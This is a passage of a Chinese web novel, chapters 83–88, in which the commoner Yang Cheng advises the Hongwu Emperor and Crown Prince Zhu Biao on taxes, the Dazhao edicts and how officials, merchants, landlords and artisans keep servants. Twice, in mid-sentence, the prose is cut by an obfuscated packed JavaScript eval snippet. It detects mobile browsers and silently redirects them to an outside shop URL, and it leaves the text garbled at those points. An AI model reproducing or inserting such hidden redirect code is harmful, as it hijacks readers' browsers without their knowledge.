只怕未到京城,就已经被当做反贼抓起来了。所以,草民请皇上推行大诰。 为让百姓皆能知大诰,请朝廷出资刊印,免费发往个府县,每户可领一册。” 朱元璋被搔到痒处,就像粉丝在夸,你的网文人人都爱看,只是付不起订阅币罢了,所以七猫免费真好。 “这有何难,朕立刻就下令礼部办理!管教百姓家中,一户一本!” “皇上,除了免费发放,皇上还要下一道令,才能让大诰真正推行起来。” 第八十三章 恩泽海盐 “哦?什么命令,你说,只要不过分的,咱无有不允!” 杨成举起手里的大诰:“礼部有令,大诰乃皇上亲笔所撰,凡得此书者,须善加保存。 若有污损者,以藐视皇上论罪。礼部的本意是好的,是为维护皇上威严。 可这罪名定得太重了,试问百姓陋室空堂,家有顽童,谁能保证书本不会污损? 若因此故,便会丧命,或者抄家流放,谁家还敢留存大诰? 所以请皇上下令,凡有污损大诰者,罚其出钱再购一册也就是了。” 朱元璋的目光扫向礼部,不冷不热地说了一句:“你们倒真是礼多人不怪。 难怪朕的大诰已经刊印半年之久,民间百姓知道的竟凤毛麟角,原来是有此担心。” 礼部尚书赵瑁连连行礼:“皇上御制之物,历来有此礼法,并非臣等妄言,望皇上明鉴。” 朱标拦住话头:“赵尚书,你们依礼法行事,并不为错。只是礼有经,亦有权。 皇上御制大诰,本意是万民皆知,震慑贪官污吏,也震慑民间不法之徒。 既然有此目的,就不宜把大诰变成高高在上之物。你们尽快刊印,消除影响吧。” 赵瑁擦擦冷汗,知道太子是在帮礼部说话,连连点头,退了回去。 朱元璋越来越觉得杨成可爱了:“杨成,咱说要赏你,你推行大诰,这不算赏赐,另想一个,咱无有不允。” 杨成见马屁已经基本拍肿了,知道不能再拍了,凡事过犹不及,不可因为对方想要,就一次给个够,要为今后留点念想。 “草民确有一事,在心里翻腾了很久。只是以前没机会说,也不敢说。 今日皇上说要赏我,我不敢当,只想跟皇上说两句心里话。不过,草民想换个地方说。” 朱元璋愣了一下,看了看六部官员,明白杨成的话是有些避讳的。 但他随即大声道:“今日咱为你升堂问案,杀一儆百,你又献计献策,到现在还有什么不敢说的?” 你干的这些事儿,已经把户部、礼部、兵部、刑部都得罪得差不多了,还能得罪谁,还有个屁可怕的? 杨成见朱元璋坚持开诚布公,也就不在墨迹,庄重地又行了个礼。 “皇上,海盐百姓皆良善之民,从无违抗朝廷之心,更无自外皇上之念。 奈何秦强之流,总是妄测圣意,以升斗之心,量江海之量,言必称东吴旧地,责必举盗匪逆贼。 其言其行,让人以为大明日月昭昭,独不照方寸之地;皇上仁爱之心,却不沐忠君之民。 草民替海盐百姓求肯皇上,正本清源,为海盐城正名,为海盐百姓正名。” 朱元璋听明白了,杨成不是在替自己请赏,而是在替整个海盐百姓鸣冤告状。 我们海盐从来没反过你,你为什么那我们当二等人?凭什么我们就是后妈养的? 东吴旧地重税的原因,朱元璋已经给马皇后说过了,其实除了记仇之外,还有更复杂的原因。 所以如果杨成是苏州府任何一个地方的,这件事朱元璋都会为难一下,但海盐却不一样。 朱元璋因为这个案子,已经想起来海盐的特别之处,这是个只求自保,并未加入任何一方的县城。 当时杨老虎对外来的军队,一视同仁。就连名义上拥有海盐的张士诚,派兵来征税抢粮时,也被杨老虎打得够呛。 总体来说,杨老虎对自己这股势力算是最友善的,发生的冲突也是最小的。 所以之前把海盐划在东吴旧地里,完全是户部根据地理位置画的,并不符合历史真相。 再看看杨成和其他百姓口袋里的干粮,干裂的嘴唇和手掌,运送税银的马车,和瘫软如泥的秦强。 主动足额纳税,认真学习大诰,担心贪官蛀空国库,希望大明永远安定。 这样的百姓,就像千里马的骨头一样,如果不大加表彰,会让天下百姓寒心的。 “海盐百姓忠君爱国,朕亦素知。当初元末朕起义军,海盐杨家军曾与朕并肩而战,讨伐元庭。 并非如张士诚般,首鼠两端,先联合陈友谅,后投靠元庭,背信弃义,负隅顽抗。 地之所属,不在山河,而在人心。故而海盐虽地处苏州府,但并非东吴旧地。 户部记下,自今日起,海盐赋税与南直隶相当,不再与苏州府等同。” 朱元璋的旨意传到大堂之外,几日后便传到了海盐县,聚集在城外看告示的海盐百姓喜极而泣。 “看看吧!当初杨成跟富户们借银子时竟然还有人犹豫!犹豫个屁啊!” “就是,当初杨成说要加上三成损耗时,王家庄族长还反对过,真是鼠目寸光!” “还得说是我们刘家湾的族长,不亏是跟杨家湾只隔着一条河的,看我们多痛快!” “你们当然积极了,你们刘家湾出了个刘通,带着族人都沾光了怎么不说呢?” “话不能这么说,白家村还是杨成的姥姥家呢,沾的光不更大,也没有我们积极吧!” “姥姥!姥姥能有媳妇亲吗?听说刘通的外甥女,在杨成家一住就是好多天,没准生米已经煮成熟饭了呢!” “呸,你龌龊!你以为杨成是你?没等过门儿就把胡屠夫的女儿肚子弄大了!人家是去帮忙算账的!” “你懂个屁,这叫兵法。不入虎穴,焉得虎子。不得虎子,他能少要一半儿聘礼,让我们有情人终成眷属吗?” 一片热闹之中,拄着一根拐的孙则和拄着两根拐的丧彪也感慨万千。 人们都以为丧彪是见钱眼开,图商户们的长期饭票才上堂断腿,当商户们的底牌的。 只有栖流所里的花子们清楚,丧彪纯属是命好,因为碰巧绳子另一头拴着孙则,他才捡了一条命。 当初唐快嘴去刺杀杨成时,他是唐快嘴的僚机,等在村口,拿着唐快嘴的更换衣物,帮她换装逃离的。 事败之后,主犯孙则被孙二爷打断了一条腿,也正因如此,孙二爷没好意思直接干掉从犯丧彪。 当年《罗马假日》里的名场面,公主为了和情郎握个手,把所有人的手都握了个遍。 所以有时为了不让一个人被弄死,不得不把枪口集体抬高,以免搞得太明显。 所以孙二爷把难题推给了杨成,让杨成决定丧彪的死活。 杨成就说了一句话:“那就让他给我当张底牌吧,不打算他走运,打死算他倒霉,这事儿就一笔勾销。” 结局就是丧彪既不算很倒霉,也不算很走运,断了两条腿,换了个义气的名声和长期饭票。 海盐百姓的开心,杨成暂时不知,他此时正在面临一个巨大的考验。 第八十四章 适度精明 退堂后,朱元璋直接让毛骧把杨成带回了武英殿。 朱标似乎对此一点也不惊讶,甚至还先走一步,等朱元璋到时,他让太监把茶点都准备好了。 毛骧带着两个侍卫站在殿门口,殿门开着,只要杨成有异动,侍卫随时都能冲进去。 朱元璋坐下,喝了口茶,挥挥手,太监用托盘给杨成也送了一杯。 杨成左右看看,没有座儿。没有座你赐个毛的茶呀,让我端着喝? 杨成谢恩后,只拿手碰了一下茶碗,并没有端起来。把小太监也弄蒙了。 皇上赐茶,你得拿起来啊,你不拿起来我怎么办?带着茶碗离开,不能吧? 朱元璋一抬头,看见太监站在杨成身边,端着托盘,左右为难的样子,哼了一声。 “你得到你想要的了,咱也得到咱想要的了。这里没别人,就不装憨厚老实了是吧?” 杨成淡然道:“皇上明鉴。草民虽有些小心思,但对皇上忠爱之心,并无虚假。 草民的表现,一半发自内心,一半是需要让官员和百姓看到,才能让皇上整饬贪官,施恩百姓。” 朱元璋点点头:“你还算老实,朕虽然以诚待人,但也不是轻易受欺之人。 别说杨老虎的孙子,不可能太过单纯。就是你干的那些事儿,也不是个单纯的人能干出来的。 单纯的人会买座柴山,就把全村人变成樵夫吗?单纯的人能把白鹿山那样的恶商弄得倾家荡产吗? 总算这些都是你为了自保,不得不为之。在忠君爱国的大事上没含糊,所谓大节不失,小节不问。 但你若敢继续装傻充愣,朕刚赏过你,暂时不会对你怎样,但后面总不会让你好过的。” 说完,朱元璋挥挥手,说了声“赐座”,太监搬过来一把没扶手的小椅子,比马扎高点不多。 杨成坐下,掌心微微出汗。他之前已经察觉到,朱元璋的行动虽然都在他的计划中,但情绪上有点不对劲。 所以当年朱元璋带他入宫时,他已经决定要适当地放弃一些憨厚人设,表现出一点适度的精明。 正如朱元璋所说,就算征税这件事儿上,他做得天衣无缝,但之前起家时的事儿,迟早也瞒不过锦衣卫。 与其让朱元璋今后发现自己的两张脸,还不如主动先撕开一点面具,让朱元璋的疑虑打消一点。 所以借着赐茶不赐座,这个看似帝王多忘事的小事儿,两人都得到了相对满意的结果。 朱元璋放下茶杯,拿起一份奏折来,皱眉看了一眼,扔到一边。 “又是一件商人认干亲的案子!什么干儿子,干女儿的,欲盖弥彰!” 然后他看向杨成:“杨成,我知道那糖霜是你做的。你虽不直接经商,对商户也熟悉。 你倒是说说,朕不让商人穿绸缎,不让商人科举,不让商人用奴仆,是对还是错? 朕平时都是跟官员讨论,但商贾之事本在民间,你是乡下百姓,对民间之事自然更清楚。 而且你得商人之利又不受商人之弊,旁观者清,又无利害关系,你说说看。” 杨成知道朱元璋的考验已过,此时确实是想听听底层的声音,但他仍然不敢放松警惕。 伴君如伴虎,尤其是朱元璋这样杀人不眨眼的狠人,自己说错一句话,就后果堪忧。 “皇上,草民以为,朝廷定规矩,一定要令行禁止,若做不到,则不如不定,反而消耗了朝廷威仪。” 朱元璋皱眉道:“你是说,朕虽定了规矩,但下面执行不力?谁敢阳奉阴违,朕杀了他!” 杨成摇头道:“皇上,天行有道,水流有势,逆水行舟,终难长久。很多规矩行不通,并非执行的问题。” 朱元璋将茶杯顿在桌子上:“你这话,咱听着新鲜。你倒是说说,咱定的什么规矩是行不通的?” 朱标轻轻咳嗽一声,杨成看了朱标一眼,想了想,还是继续说了下去。 “皇上打压商人,不许穿绸缎,不许科举,不许养奴仆,本是重农抑商之意。 就先说奴仆一事吧,大明不许没有功名的草民养奴仆,只许官员勋贵养奴仆。 这条规矩,本身就有太多漏洞,根本不可能长久实施下去。” 朱元璋不悦道:“怎么,你对这条规矩有看法?朕知道你如今有钱,也想养奴仆了?” 这话就有点诛心了,但杨成丝毫不慌,甚至还抽空品了口茶,赞叹地点点头。 “皇上,这茶比草民家里的好喝多了。可见世间万物,好东西都会流向权利和金钱。 皇上希望百官清廉,给定的俸禄也不算多,所以他们有权而无钱,有养奴仆的权利却养不起。 商人和地主有钱,但他们没有权利养奴仆。有权养的养不起,养得起的没权养。 若按如此说,除了开国勋贵家中,大明就该没有奴仆存在。可事实如何呢?” 朱元璋听得有些烦躁,解开龙袍扔在龙椅上,把茶杯里的茶一饮而尽。 “再让你说话,就爽快点说,吞吞吐吐的,像个女人!” 杨成心说又不是只有女人才会吞吞吐吐,你的知识面还是太窄了,他也喝光了茶水,好让太监方便一起续上。 “事实就是,如今官员有奴仆,商人有奴仆,地主也有奴仆。 士农工商,不管是干哪一行的,甚至连工匠,只要干得好,也有奴仆。” 朱元璋看向朱标,朱标也有些不解:“杨成,真到了如此地步吗?你不要危言耸听,不可欺君啊。” 杨成摇头道:“草民不敢欺君。官员无钱,但可养奴仆者,权也。 倒不一定是贪官才有奴仆,因为很多奴仆跟着官员,本身就是不要钱的! 俗话说,宰相门房七品官,他们跟着官员,可以传递消息,说说人情,就能拿到钱财。 何况这些奴仆多为破产之人,跟着官员,狐假虎威,远比其他奴仆体面自在。 所以很多读书人刚中进士,还未授官之时,家门口就排起长队,都是免费投靠当奴仆之人。” 朱元璋明白了,他沉重地点点头:“朕能管得住官员不贪,但要管住官员的奴仆,确实很难。” 杨成继续道:“商人无权养奴仆,但家中奴仆众多者,钱也。 商人有钱,而世上多破产之人。商人可以养佣工伙计,择其机灵美貌者,认作干亲,养于家中。 很多人觉得商人以认干亲的手段养奴仆,其实错了,是那些伙计巴不得认干亲呢。” 朱元璋举起手中,商人与干亲的案件奏折又看了一遍,扔在桌子上。 “胡说八道,你看看这个案子。富商看上了伙计的女儿,强认干亲,还睡了人家一年。 现在被人告上公堂,如果那女子真是自愿认的干亲,如今又怎会告他呢?” 第八十五章 人皆奴仆 杨成看都没看奏折,只是恭敬行礼:“皇上,草民斗胆猜猜,那伙计家告状所求。 想来要么是要钱,要么是要求富商纳其为妾,总之不会只是为了让富商坐牢吧。” 朱元璋一愣,神色复杂地看着杨成:“你如何得知?” 杨成淡然道:“富商认伙计的女儿为干亲,是要干什么,可谓司马昭之心,路人皆知。 就算那女子不懂事儿,难道她爹也是白痴?既认了干亲,又睡了一年之久。 且不说开始时女子是否情愿,这一年中,总不会次次都是霸王硬上弓吧? 且皇上说奏折是干亲案,则说明女子未被纳为妾室,否则案子就是妾室案了。 是否是女子未能生育男丁,不为家中主妇所容?富商始乱终弃,才遭此报?” 朱元璋米眼看着杨成:“你小子这么清楚里面的门门道道,是不是也干过这种事儿?” 杨成正色道:“草民身祧七家,到现在一个娘子都没有。求妻若渴,岂会往外推? 草民之所以明白这些,是因为身处民间,知道百姓的心思,不足为奇。 皇上和太子虽然都英明睿智,但毕竟身处庙堂之高,民情如水,若无人力穿凿,是流不到高处的。” 朱元璋心里一动,随即想到《大诰》流传不到民间的事儿,脸上就带出了冷笑。 “哼,想让咱变成聋子瞎子,没那么容易。咱组建锦衣卫,就是防着他们的!” 在对待读书人的态度上,朱标和朱元璋一直是有分歧的,不过杨成此时说的也是实情。 六部九卿,张口闭口都是忠君爱民,也不能说都是口是心非,但他们的忠君爱民之法和皇上想的不一样。 在官员们看来,忠君爱民是他们的事儿。上忠君,下爱民。 至于君和民之间,他们是不需要直接发生关系的。 百姓听朝廷的话就够了,朝廷不是皇上,是官员。皇上对朝廷下令就行了,朝廷不是百姓,是官员。 所以百姓说了什么,我们来翻译给皇上听;皇上说了什么,我们翻译给百姓听。 就好像皇上和百姓压根不是同一种生物,他们之间没法直接交流信息,必须通过官员翻译一样。 朱元璋之前干掉了胡惟庸,撤掉了丞相之位,但他撤不掉朝廷,撤不掉官员。 就光是取消了丞相之位,就已经把老朱累得要死要活了,不得已拉着好大儿朱标一块当苦力。 朱标忽然笑道:“父皇,锦衣卫固然是皇上的耳目,但只怕还不足够。 便如今日杨成所说这些民情,只怕锦衣卫也未必能弄得明白,说到底,锦衣卫也是朝廷的一部分啊。” 朱元璋眯起眼睛,微微点头:“不错,标儿,你说得对,还是你年轻,脑子转得快,咱老了呀。” 朱标赶紧安慰:“哪有的事儿,父皇春秋鼎盛,不过是总揽朝局,不能事事分心罢了。” 杨成闷头喝茶,心说你们爷俩忽然父子情深,是几个意思?该配合你们表演的我,有些不知所措啊! 朱元璋看向杨成:“那便如此,杨成,你身在民间,士农工商都常接触,为人也机灵。 朕给你……太子给你个锦衣卫的身份,你替咱在民间搜集消息,有应知之事,可传信告知咱。” 杨成一愣,他对锦衣卫的身份倒是没什么抵触。不就是皇帝的特务兼打手吗,上辈子也不是没干过。 虽然这个身份可能会卷入一些纷争,但今天朱元璋给海盐县免税,肯定也不是白免的。 就像榜一大哥忽然刷了大火箭,那肯定不是白刷的,大概率是图你点啥。 杨成不是那种收了钱不脱衣服的人,他当即施礼谢恩,表示以后自己就是皇上你的人了。 朱元璋摆摆手:“不是朕的人,是太子的人。朕早就想过,等太子能顶住事儿了,朕就当太上皇,好好陪陪……” 话没说完,因为朱元璋忽然意识到杨成的身份,不过是个草民,刚当的锦衣卫,勉强算是故人之子。 以这个身份,自己怎么可能在他面前说这么私人的话题呢?朕这么没深沉吗? 奇怪啊,自己刚进殿时明明还在试探他的,是什么时候开始,竟然从心里把他当成自己人了呢? 大概是朕的老朋友越来越少了,能说心里话的人越来越少了,憋得,一时失态了,对,就是这样。 那边朱标还在诚惶诚恐,表示老爹你别这么说,我听着心里不踏实,而且也不想这么早接班当牛马。 朱元璋为了驱散自己的情绪,赶紧转移话题:“话赶话说到这儿的,把话题都带偏了。 杨成,刚才你说士农工商都有奴仆,现在刚说完官员和商人,还有农户和工户呢,又怎么说?” 杨成赶紧说道:“皇上,普通农家能吃口饱饭,不给别人当奴仆就不错了,根本不可能养奴仆。 别说普通农户,就是一般的小地主也养不起多余的人,能养个童养媳就算到头了。 只有拥有千亩以上的大地主,自己不事生产,把田地都佃给佃户去种,一些佃户自然就成了家中奴仆。” 朱元璋皱眉道:“佃户只是租种地主的田地,地主让他们当奴做仆,他们完全可以不干! 地主若敢强迫,他们可以告上官府,有大明律给他们撑腰!” 杨成苦笑道:“地主无权养奴仆,而实际有奴仆者,地也。 商人的伙计也是自由之身,完全可以硬气地拒绝商人认干亲的要求,可他们做不到。 因为一来谋生艰难,二来成了商人的干亲后,商人会给他更多的利益。 佃户也是一样,愿意替地主当奴做仆的,就能佃到好点的地,地租也会少收一些。 而若和地主闹翻,就会变成十里八村有名的刁民,其他地主也不愿意佃田给他耕种了。” 朱元璋怒了:“大明开国后,人口并不稠密。朝廷明明圈了很多荒地,分配给百姓耕种。 他们不种朝廷的地,却宁可去种地主的地,宁可给人当奴做仆都不走,这不是贱骨头吗?” 杨成摇头道:“世上哪有那么多贱骨头?不过是逼不得已罢了。 朝廷的荒地,一种是在过去的战乱之地,本地人少,需要移民过去耕种。 华夏千年,向来安土重迁。人离乡贱啊,但凡能过得下去,谁愿意背井离乡呢? 另一种确实是本地的田地,可这田地是分不到百姓手上的,都是落到地主的手里了。” 朱标先忍不住了:“朝廷的荒地,一部分公开发卖,一部分按人头分配。 就算公开发卖的那部分,普通农户买不起,可那按人头分配的荒地,是不要钱的啊,怎会都落入地主之手呢?” 第八十六章 倒反天罡 杨成淡然道:“太子的想法当然是好的,可民间之事,要复杂得多。 那些报名得到免费荒地的农户,一种本身就是地主的佃户。 他们都是欠了地主钱的,所以那些荒地刚领到手,就转给地主去抵债了。 另一些即使没欠地主的钱,领到了荒地,却也种不起,只能转给地主,换些银钱。” 朱标仍然困惑,朱元璋却比他见识的多,忍不住叹了口气。 “这事儿咱知道,荒地不比熟地,要想有收成,先得防火烧荒,再深翻土地晾晒,最后得狠狠上肥。 如此折腾一年,第二年才能有个好收成。若是直接种下去,生荒地产量是很低的。 咱小时候,家里帮地主开过荒地,这些咱知道。可是,养一年再种,也比直接卖了强啊!” 杨成苦笑道:“皇上果然是知农桑的圣君。可皇上当年年幼,对此事只知其一,不知其二。 刚才我说那些佃户欠了地主的钱,所以不得不拿地抵债。开荒地就是欠钱的原因之一。 开荒地要深耕,深耕就需要牲畜。普通农户家没有牲畜,临时耕地靠人推拉扛拽。 可平时种地尚可,要深耕,人根本就拉不动。所以只能跟地主租用牲畜,要花钱的。 深耕后要施肥,农家肥主要靠三种:人和牲畜的粪尿;青草绿叶的堆肥;河道淤泥加水草。 农家大多养不起牲畜,光靠人粪尿产量有限,根本不够用的。 山上草木、河道淤泥,要么是地主所有,要么是朝廷管制,不能随便采割挖掘,也要花钱的。 一片荒地开出来,明年有没有收成还不知道,就先填进去了不少钱。 万一明年赶上荒年,这一家子就只能卖房子卖地还债。还完债,自然也就成了佃户了。 成了佃户后,因为是租地种,肯定比原来种自己的地收入低,就更容易欠债。 就我所知,乡下的佃户,几乎没有不欠地主钱的,无非是多少的问题。” 朱元璋和朱标都默然许久,过了好一会儿,朱元璋才闷声道。 “除了开荒,农户还会因为什么卖房卖地,变成佃户?” “那原因就太多了。有的农户因为生病,需要钱治病,一场病下来,就欠了很多钱。 有的农户因为田地歉收,又要足额交税,赶上倒霉连续两年歉收,就缓不过劲来,只能借钱了。 有的农户摊上了官司,一场官司打下来,倾家荡产,债台高筑。 而在乡村中,佃户有了难处,第一时间就会找地主,而地主也有责任替佃户解决。 就像草民是杨家湾的族长,村中不管哪家有什么事儿,找到我我都得想办法帮忙解决。 只是这解决,只是出面帮忙罢了,该花的钱,肯定是要农户向地主借的。 这次朝廷加税,我粗略估计,正常情况下海盐县至少有五千户得从自耕农变成佃户。” 又是许久的沉默,当朱元璋再次开口时,疲惫的声音中带着些寒意。 “杨成,朕知道你在海盐的声望,也知道你的糖霜很挣钱。这次加税,是朝廷迫不得已。 朕不管你用什么办法,海盐县一个佃户也不能增加!你也不想让朕丢脸吧?” 朱元璋压根儿没提其他地方,是因为两个原因。 第一是他知道杨成的影响力只在海盐,其他地方,杨成管不到,也管不起。 第二最重要,因为他刚刚表彰过海盐积极向朝廷缴税,如果一回头就民不聊生了,脸还要不要了? 杨成深吸了一口气:“皇上为海盐百姓减了税,草民岂敢不尽力维护桑梓? 草民跟桂花斋及糖商们借钱时,已经说过,一切债务由我杨家湾承担。 海盐百姓欠我的钱,今后慢慢地还。地契虽然在我手里,但我不会上门收地的。” 朱元璋黑沉的脸终于露出了一丝笑容:“行,不亏是杨老虎的孙子。好汉护三村,好狗护三邻居。” 他站起来走了几步,疏散一下筋骨,然后坐下伸了个懒腰。 “把你的话说完吧,咱其实最不明白的,就是这工户不过是凭手艺吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438666|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口饭,怎么也能养奴仆呢?” 其实明朝的户籍分类中,并没有农户和工户这样的说法,只有三个大类:民户,军户,匠户。 其下面根据情况,又细分为很多小类,类似于生物学上面的门纲目科属种。 例如商户就是民户下面的细分,这种细分方法越来越细,在巅峰时期超过一百多种。 例如王铁匠,按这套规则,就可以这样分类:大明资产门,人纲,匠户目,工匠科,打铁属,农具亚种。 别小看了这个细分,同样是工匠科打铁属的,如果是挖耳勺指甲刀亚种的,地位肯定就比农具亚种差多了。 而因为细分的种类太多,人们往往很难记住官方称呼,就会有一些俗称来指代。 像朱元璋口中的工户,指的就是匠户大类里面,像王铁匠这样地位比较高的高级手艺人。 “工户无权养奴仆,而所以有奴仆者,艺也。 工户有手艺,那些工户的孩子,有些家里手艺本身档次低,有些父亲早逝,没有传下来的。 但又不得不吃工户这碗饭,就得想办法学手艺。想学手艺,就得拜师父。 其实师徒,不过是干亲的另一种形式,本质上并没有什么区别,都是一种利益的交换。 徒弟吃住在师父家里,每天只有很少的学艺时间,大部分都是给师父家当奴作仆。 所以工匠只要手艺好,有名声,就能一直收徒弟,保持家中有奴仆使用。 甚至这些奴仆的地位还不如商人的干亲或地主的佃户,因为毕竟干亲和佃户生命权是有的。 可这些徒弟在入门第一天,契约上就写明:任打任骂,任劳任怨,死走逃亡,各安天命。” 朱元璋是苦出身,他虽没当过学徒,但也见过学徒挨打,所以并无异议。 朱标却是从小学习儒家,最尊师重道的,听着实在是不入耳,好脾气也火了,忍不住反驳道。 “杨成,你未免以偏概全了。师徒如父子,师恩重如山,按你所说,师徒如主仆,简直倒反天罡!” 第八十七章 师徒父子 门口的侍卫,屋里的太监,都被朱标突然的发火吓了一大跳,个个低头像鹌鹑一样。 他们常年在宫里,对天家的脾气秉性比别人都熟悉,朱标轻易不发火,一发火就不轻。 当初胡惟庸案时,为了保住老师宋濂,朱标直接和朱元璋硬刚,气得朱元璋脱鞋要抽他。 朱标也毫不示弱,拿出了熊孩子的劲头,当着老朱的面,直接跳进了河里。 虽然资料里没细说朱标跳的是什么河,但估计能当着老朱的面儿,也就是皇宫里的人工河。 但虽然是人工河,那河也挺深,关键是水还很凉,如果是老钱来了就未必敢跳。 当时几个离得最近的侍卫噗通噗通跳下去就把朱标捞上来了,老朱浑身发抖,也不知道是气的还是吓的。 这件事的结果是,朱元璋折中了一下,没杀宋濂,但把他流放了。年老体衰的宋濂死在了路上,也算体面。 然后据说朱元璋重赏了跳河救援的侍卫,又**了几个没来得及跳河的侍卫。 根据野史推测,这几个侍卫里没准就有姓钱的,祖传的怕水凉胜过怕一切。 朱元璋看着朱标发火儿,眼中却流露出满意的神色,不是对朱标满意,而是对杨成满意。 他在公堂上就生出了一个心思,杨成这小子随杨老虎,有护民之心,可谓重情重义。 一个重情重义的人,人品不会太差。而且他确实也有一份忠君爱国之心,这很难得。 最重要的是,他不迂腐,只要目的是正确的,他的手段不拘一格。 从**骧这几日连续得来的消息看,他白手起家,短短半年多,就掌控了全国的糖霜生意。 曾经的海盐首富白鹿山,惨败而逃;朝廷派去的秦强,被他用囚车绑回了京城。 但他没耽误朝廷的税银,还顺便推广了自己的《大诰》,帮自己查缺补漏,堵上了量具和文书的漏洞。 朱元璋在几年前就已经留意给儿子找一个助手了,可是权衡利弊之下,太难了。 好大儿什么都好,就是从小被宋濂这些大儒给教得太过儒家化了,缺了王霸之气。 不是说儒家不好,否则朱元璋也不会给朱标请这么有名的家教了,其他皇子可没有这个待遇。 只是儒家的营养太单一了,缺少成长为优秀皇帝的各种微量元素,长得有点弯,需要掰一掰。 所以这个人的性格要和朱标不一样,这样才不会和太子关系太亲密,等太子登基后变成宠臣。 所以皇宫里的人不行,最后搞不好会像宋濂一样,被太子当成亲人,投鼠忌器,这绝对不行。 这个人最好出身低一些,越低越好,这样才不会在太子登基后,有机会成为权臣。 所以那些勋贵不行,他们本身实力就强,太子若过于信任,万一有人变心,就可能养虎为患。 所以,出身乡野,心思敏捷,手段利落,不拘一格,重情重义,忠君爱国,不卑不亢,敢说敢做。 咱的天哪,这简直是照着咱的标准长的。想不到杨老虎生前没投靠咱,死后孙子却被咱用了! 见老朱笑眯眯地看看朱标又看看自己,杨成忍不住打了个冷颤。 幸亏自己是个男的,否则杨成看老朱的眼神儿,都有点像要把自己许配给朱标一样…… 等一下吧,对于皇帝来说,性别好像也不用卡得那么死,这宫里的太监,哪个曾经不是男的? 杨成吓了一跳,忍不住说道:“皇上,草民不敢说了。草民身祧七家,若是我出了意外,七家可都绝后了。” 老朱啊,你就别想让我当太监了,老子的身子不是属于老子一个人的,是全村的希望! 朱元璋以为他是被朱标发火儿吓到了,笑道:“太子仁厚,岂会轻易**? 不过太子所问,也有道理。若师徒真如主仆,那这世上又怎会有师徒如父子的说法呢?” 杨成马上接过话题:“师徒和师徒,有很大分别。师徒关系如何,主要看师父教会徒弟后的境况。 像太子的恩师,宋濂大人,他教会太子后,自己也功成名就,成为一代帝师。 只有好处,没有坏处,岂能不尽心尽力,情同父子?” 朱标哼了一声,怒火平了一点:“天下师徒众多,不必只说我的,别人的又怎么说?” 杨成笑道:“大凡学文者,师徒关系都很融洽。因为学文不存在竞争,只存在利益。 学好文章,货于帝王,又不是摆摊卖字抢客人。若师徒都中举当官,彼此之间可多有照应。 若徒弟高中,师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438667|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落第,徒弟也必有回报,否则就会被人指责不尊师重道,为儒林所不齿。 就算这徒弟事务繁忙,照应不了师父,师父靠着教出了进士的名气,开私塾束脩都能贵一些。” 朱标愣了许久,这个角度太刁钻,他竟从未想过,师徒的温情之中还有这许多算计。 杨成继续道:“而学武之人,师徒的关系甚至比学文更加紧密。 须知习武者大都有门派传承,门派越兴盛,门内之人过得就越好。 而门派的兴盛,就要靠一代代的弟子。弟子越出色,门派就越兴盛,你好我好大家都好。 更何况习武者行走江湖,谁没有几个仇家。自古拳怕少壮,六十多岁的老同志,再能打也有限。 要想安度晚年,要么有门派的庇护,要么有几个情同父子的厉害徒弟,别人就不敢造次。” 朱标不得不承认,虽然这番分析很残酷,但更符合人性,远比自己以为的师徒天然如父子要合理很多。 “那,为何工户的师徒就不能像文武之道一样,互利互惠呢?” 杨成叹息道:“工户匠人,不像文能治国安邦,最少也能开馆授徒为生。 也不像武能征战沙场,最少还能给人看家护院。工户的手艺,是要靠给顾客干活才能吃饭的。 而在县城等小地方,顾客就只有那么多,多一个对手,就少一份收入。 徒弟大都是本乡本土之人,他们学会了手艺,也不会远走他乡,基本都是在本地干活儿。 所以工户收徒弟,本质上是不得已而为之。他心里知道教的就是自己将来的对手。 若说师徒如父子,那工户的师徒之间,就像是收养了一个仇人的孩子,心里如何亲得起来?” 朱元璋淡然道:“标儿,杨成这番话,说得透彻。咱平时里总跟你说,要有防备心。 天底下除了生你养你者,其他人的话,都不可尽信。就是圣贤书里的话,也不可尽信。 说到底,这个如父子,那个如父子的,除了真正的父子,如的终是差了许多啊。” 话音未落,殿外忽然传来一声嚎叫,声音中带着些清脆,也有些浑浊,正是变声期的标志。 “父皇,咱们可是父子啊!亲生的父子啊!你怎可如此对我?” 第八十八章 爱情故事 杨成吃了一惊,什么情况,这是老朱的哪个儿子,犯了什么事儿了? 众所周知,老朱对别人凶狠,对子孙却极其护短,绝对是天字第一号的好家长。 皇族也是族,朱元璋作为老朱家的族长,对家族的维护程度,远比杨成还强烈得多。 **蛋不过是想烧个工坊,给人带个路,杨成还曾想过弄死他,最后不过是看他还有利用价值,才没下手的。 而老朱对皇族的宽容程度,要比这个高多了。别说老朱活着的时候,对子孙的无脑维护。 就说他**之后,子孙后代奇葩混账层出不穷,也都能在老朱留下的族规下安然无恙。 终大明一朝,朱家子孙没得好死的,都是因为**内讧死在自家人手里的,没有一个是死于违法犯罪的。 所以外面这位皇子,谁敢让他受了什么委屈,跑到老子的办公室门前鸣冤叫屈来了? 朱元璋原本带着笑意的脸,一下子就绷紧了,怒气值在不断积攒。 朱标见势不妙,三步并作两步地跑出殿门口,冲着跪在外面的弟弟怒斥。 “檀弟,你烧昏头了?御医不是说你病了吗,还不赶紧回府养病去!” 朱檀抬起头,看着大哥,十四岁的脸上带着男人的坚毅和男孩儿的委屈,泪流满面。 “大哥,我听说父皇把淑儿抓起来了!他是不是要杀了淑儿?啊?” 